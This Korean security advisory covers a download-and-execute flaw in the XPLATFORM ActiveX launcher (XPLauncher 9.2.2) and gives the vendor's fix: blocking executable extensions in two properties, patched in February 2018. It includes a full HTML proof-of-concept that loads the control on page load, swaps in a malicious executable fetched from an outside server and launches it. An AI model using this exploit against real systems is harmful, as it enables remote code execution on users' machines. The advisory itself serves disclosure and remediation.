보안취약점관련
XPLATFORM보안정책-SendBox
보안취약점 지적사항 및 조치방법
지적내용
XPLATFORM ActiveX에서 파일 다운로드 및 실행 메소드에 대한 검증 부재
파일명 : XPLauncher922.dll CLSID : {A30D5481-7381-4DD9-B0F4-0D1D37449E97} 버전 : 9.2.2
<HTML> <HEAD> <TITLE>Showcase Exploit</TITLE> <SCRIPT LANGUAGE="JavaScript"> function exploit_XPlatForm() { XLauncher.componentpath = "C:\\Program Files\\TOBESOFT\\XPLATFORM\\9.2.2\\"; //다운로드 대상 폴더 // XLauncher.splashimage = "http://[공격자서버]/XPlatform.exe"; //악성코드 XLauncher.splashimage = "http://172.10.13.51:8080/Service/XPlatform.exe"; //악성코드 XLauncher.download(); XLauncher.version = "9.2.2"; XLauncher.key = "XFShowCase"; XLauncher.xadl = "http://support.tobesoft.co.kr/Next_JSP/XFShowcase/UI/ShowCase.xadl"; XLauncher.launch(); //악성코드 교체된 XPlatform 실행 } </SCRIPT> </HEAD> <BODY onload="exploit_XPlatForm()"> <OBJECT ID="XLauncher" CLASSID="CLSID:A30D5481-7381-4DD9-B0F4-0D1D37449E97"></OBJECT> </BODY> </HTML>
조치내용
해당 문제에 대한 조치는 관련 속성에 지정할 수 있는 파일 확장자를 제한함 (조치방안) 1. XPLauncher 관련 속성 - XPLauncher.loadingimage - XPLauncher.splashimage 2. 조치내용 - 위 두개의 속성에 대해서 파일 확장자를 제한 - 대소문자 구분하지 않고 제한 - 제한하는 파일 확장자(com, exe, bat, cmd, dll)
적용버전
해당 내용은 2018.2.27일자에 패치되었습니다.
즉 XPLaunche 9.2.2.200에 적용